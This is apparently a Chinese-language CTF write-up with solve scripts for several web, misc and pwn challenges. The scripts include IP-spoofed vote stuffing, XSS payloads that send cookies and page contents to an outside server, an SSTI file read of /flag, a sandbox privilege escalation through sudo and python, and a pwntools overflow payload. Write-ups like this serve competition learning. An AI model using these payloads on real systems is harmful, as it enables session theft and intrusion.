vote now

import requests
import re
import time
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.chrome.options import Options
from webdriver_manager.chrome import ChromeDriverManager

def send_vote(proof, ip):
    url = "http://game.ctf.seusus.com:54337/vote"
    headers = {
        "Content-Type": "application/json",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Safari/537.36",
        "Accept": "*/*",
        "Origin": "http://game.ctf.seusus.com:54337",
        "Referer": "http://game.ctf.seusus.com:54337/",
        "Accept-Encoding": "gzip, deflate, br",
        "Accept-Language": "zh-CN,zh;q=0.9",
        "Connection": "close",
        "remote_addr": ip,
        "X-Forwarded-For": ip
    }
    data = {
        "token": "wX74CL3wGQCTctwt3h9mOEpWrl0lTpBK5JzO6e8pFzdg22DD97fOzg42hxO6EU6q",
        "proof": proof
    }

    response = requests.post(url, headers=headers, json=data)
    return response

def update_ip_in_html(ip, file_path='./test.html'):

    ip_pattern = r'(const\s+ip\s*=\s*")[^"]*(";)'  

    with open(file_path, 'r', encoding='utf-8') as file:
        content = file.read()

    new_content = re.sub(ip_pattern, lambda m: f'{m.group(1)}{ip}{m.group(2)}', content)
    

    with open(file_path, 'w', encoding='utf-8') as file:
        file.write(new_content)
    
    print(f"已将 IP 更新为: {ip}")
    
    
def fetch_proof(url, ip):

    update_ip_in_html(ip)


    options = Options()
    options.headless = True
    service = Service(ChromeDriverManager().install())

    driver = webdriver.Chrome(service=service, options=options)
    driver.get(url)

    proof_pattern = r'<div[^>]*>.*?Proof:\s*(000\w{5})<\/div>'
    script_pattern = r"<script.*?>.*?</script>"

    while True:

        time.sleep(2)
        page_source = driver.page_source


        match = re.search(proof_pattern, page_source, flags=re.DOTALL)

        if match:
            proof_value = match.group(1)
            driver.quit()
            return proof_value
        

        clean_content = re.sub(script_pattern, "", page_source, flags=re.DOTALL)


        print("当前页面内容")
        print(clean_content.strip())
        time.sleep(2)

proof_url = "http://localhost:11452/test.html"
for i in range(0,256):
    ip_address=str(i)+".1.1.97"
    proof_value=fetch_proof(proof_url,ip_address)
    print(proof_value)
    response = send_vote(proof_value, ip_address)
    print(response.status_code)
    print(response.text)
<script type="module">
    import { calculateProof } from "./static/helper.js";
  
    const token = "wX74CL3wGQCTctwt3h9mOEpWrl0lTpBK5JzO6e8pFzdg22DD97fOzg42hxO6EU6q";
    const ip = "255.1.1.97";
  
    // 等待页面完全加载后立即执行
    window.addEventListener("DOMContentLoaded", async () => {
      // 创建一个文本节点,用于显示 proof
      const infoText = document.createElement("div");
      infoText.innerText = "Starting PoW Worker...";
      document.body.appendChild(infoText);
  
      // 计算 proof
      const proof = await calculateProof(ip, token, (v) => {
        // 显示计算进度
        if (v == -1) {
          infoText.innerText = "";
        } else {
          infoText.innerText = `Progress: ${v}`;
        }
      });
  
      // 将最终 proof 值显示在页面上
      infoText.innerText = `Proof: ${proof}`;
    });
  </script>

http server emulator

import websocket
import pickle

nginx_status_codes = [
    100,  # Continue
    101,  # Switching Protocols
    200,  # OK
    201,  # Created
    202,  # Accepted
    203,  # Non-Authoritative Information
    204,  # No Content
    205,  # Reset Content
    206,  # Partial Content
    300,  # Multiple Choices
    301,  # Moved Permanently
    302,  # Found
    303,  # See Other
    304,  # Not Modified
    305,  # Use Proxy
    307,  # Temporary Redirect
    308,  # Permanent Redirect
    400,  # Bad Request
    401,  # Unauthorized
    402,  # Payment Required
    403,  # Forbidden
    404,  # Not Found
    405,  # Method Not Allowed
    406,  # Not Acceptable
    407,  # Proxy Authentication Required
    408,  # Request Timeout
    409,  # Conflict
    410,  # Gone
    411,  # Length Required
    412,  # Precondition Failed
    413,  # Payload Too Large
    414,  # URI Too Long
    415,  # Unsupported Media Type
    416,  # Range Not Satisfiable
    417,  # Expectation Failed
    426,  # Upgrade Required
    500,  # Internal Server Error
    501,  # Not Implemented
    502,  # Bad Gateway
    503,  # Service Unavailable
    504,  # Gateway Timeout
    505   # HTTP Version Not Supported
]


res_dict=dict()
ws = websocket.WebSocket()


while True:
    ws.connect('ws://game.ctf.seusus.com:54782/ws')
    result = str(ws.recv())
    print(result)
    if result not in res_dict:
        print("not in!")
        print(res_dict)
        res_dict[result]=""
        ws.close()
        i=0
        while True:
            ws.connect('ws://game.ctf.seusus.com:54782/ws')
            res=str(ws.recv())
            if res!= result:
                ws.close()
                continue
            else:
                ws.send(str(nginx_status_codes[i]))
                res2=str(ws.recv())
                if 'Wrong answer!' not in res2:
                    print("++")
                    res_dict[result]=nginx_status_codes[i]
                    print("ok!")
                    break
                else:
                    print(str(nginx_status_codes[i])+" false")
                    i+=1
                    if i>41:
                        ws.close()
                        break
    else:
        print("in!!!")
        with open("res_dict.pkl","wb") as f:
            pickle.dump(res_dict,f)
        continue
import websocket
import pickle


with open("res_dict.pkl","rb") as f:
    res_dict=pickle.load(f)
    print(res_dict)
ws = websocket.WebSocket()
ws.connect('ws://game.ctf.seusus.com:54782/ws')
while True:
    result = str(ws.recv())
    print(result)
    res=res_dict[result]
    ws.send(str(res))

note taking 1

/public/index.html会优先渲染覆盖/,直接xss

<script>new Image().src='http://47.236.124.37:11451/?cookie='+document.cookie;</script>

note taking 2

好像没用上xssleak?一开始想多了

<script>
    fetch(`/`, {
      method: 'GET',
      cache: 'force-cache',
      mode: 'no-cors'
    })
    .then(response => response.text())
    .then(data => {
    fetch('http://47.236.124.37:11451/', {
      method: 'POST',
      headers: {
        'Content-Type': 'application/json'
      },
      body: JSON.stringify({ content: data })
    })
    .then(response => response.text())
    .then(result => console.log('Response:', result))
    .catch(error => console.error('Error:', error));
     })
    .catch(error => console.error('Error fetching data:', error));
</script>

webhook as a service

iris ssti

SendFile "/flag" "1.txt"

image-20240923233234062

noscript

溢出把内存里的flag顶掉,让条件判断失败,正常显示flag

1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111

Another Sandbox

具体的脚本好像删了

大概的原理就是依靠目录名称的解析问题

image-20240923233629875

用另一个sandbox再目标sandbox建一个/init.py/__main__.py,权限给到777

sudo -u www-data cp /app/init.py /sandbox/{id}/init.py && cd /sandbox/{id} && python3 init.py

再开目标sandbox,就能靠python3 init.py提权到www-data

/bin/flag

手动补全定位块

image-20240923234006537

Tyche

每列最多一个怪,选中等就行了,找到一个怪后那一列一定安全

ai写的半自动脚本

import socket

sign=0
tmp_msg=""

def play_game():
    global sign
    host = 'game.ctf.seusus.com'
    port = 50159
    bad_guy_position = None  # 用于记录恶魔的位置 (row, col)
    current_position = (0, 0)  # 记录当前玩家的位置 (行, 列)

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((host, port))

        # 读取初始欢迎信息
        welcome_message = s.recv(4096).decode()
        print(welcome_message)

        # 选择难度 "hard"
        s.sendall(b'middle\n')

        while True:
            if sign==0:
                # 接收服务器返回的消息
                data = s.recv(4096)
                if not data:
                    break

                message = data.decode()
                print(message)
            else:
                message=tmp_msg
                sign=0
            # 检查是否遇到了恶魔
            if "Oops! You encountered a bad guy at" in message:
                # 提取恶魔的位置
                try:
                    parts = message.split("Oops! You encountered a bad guy at")[1].split(".")[0].strip()
                    row, col = map(int, parts.strip("()").split(","))
                    bad_guy_position = (row, col)
                    print(f"记录恶魔位置: ({row}, {col})")
                except ValueError:
                    pass

                # 遇到恶魔后停止,并等待下一步指令
                print("遇到恶魔!停止当前操作,等待下一步指令...")
                continue

            # 检查当前的位置
            if "Current position:" in message:
                try:
                    parts = message.split("Current position:")[1].split(".")[0].strip()
                    row, col = map(int, parts.strip("()").split(","))
                    current_position = (row, col)
                    print(f"更新当前位置: ({row}, {col})")
                except ValueError:
                    pass

            # 判断是否提示要移动
            if "Use 'wsad' to move:" in message or "等待输入下一步操作" in message:
                while True:
                    user_input = input("请输入移动指令和步数 (格式: w3, s5, a2, d1),或输入 'q' 退出: ").strip().lower()
                    if user_input == 'q':
                        print("游戏结束")
                        return
                    
                    # 检查输入格式是否正确
                    if len(user_input) >= 2 and user_input[0] in 'wsad' and user_input[1:].isdigit():
                        direction = user_input[0]
                        steps = int(user_input[1:])
                        break
                    else:
                        print("输入格式错误,请重新输入!")

                # 发送用户的移动指令到服务器
                for _ in range(steps):
                    s.sendall(direction.encode() + b'\n')

                    # 接收并打印服务器返回的信息
                    data = s.recv(4096)
                    if not data:
                        break

                    message = data.decode()
                    tmp_msg=message
                    print(message)

                    # 如果遇到恶魔,停止当前循环并等待用户下一步指令
                    if "Oops! You encountered a bad guy at" in message:
                        print("遇到恶魔!停止当前操作,等待下一步指令...")
                        break

                # 指令执行完后继续接受用户新的指令
                print("指令执行完毕,等待输入下一步操作...")
                sign=1

if __name__ == "__main__":
    play_game()

Pell

原题

import numpy as np
from collections import deque

d = 114514
m = int(np.sqrt(d))
dq = deque()
dq.append(m)
n0 = n1 = d - m * m
m1 = m
while 1:
    q, m2 = divmod(m1 + m, n1)
    dq.appendleft(q)
    m1 = -m2+m
    n1 = (d-m1*m1)//n1
    if m1 == m and n1 == n0:
        break

dq.popleft()
b = 1
c = 0
for i in dq:
    b1 = c + b * i
    c = b
    b = b1

print(b*b-d*c*c)
print(b)
print(c)

众里寻她千百度

拿gift打了100个

from pwn import *

r = remote("game.ctf.seusus.com", 55092)
r.recvuntil(b"you:")

data = r.recv()[:-1]

payload = p64(int(data, 16)) * 100

print(r.recvline())

r.send(payload)
r.interactive()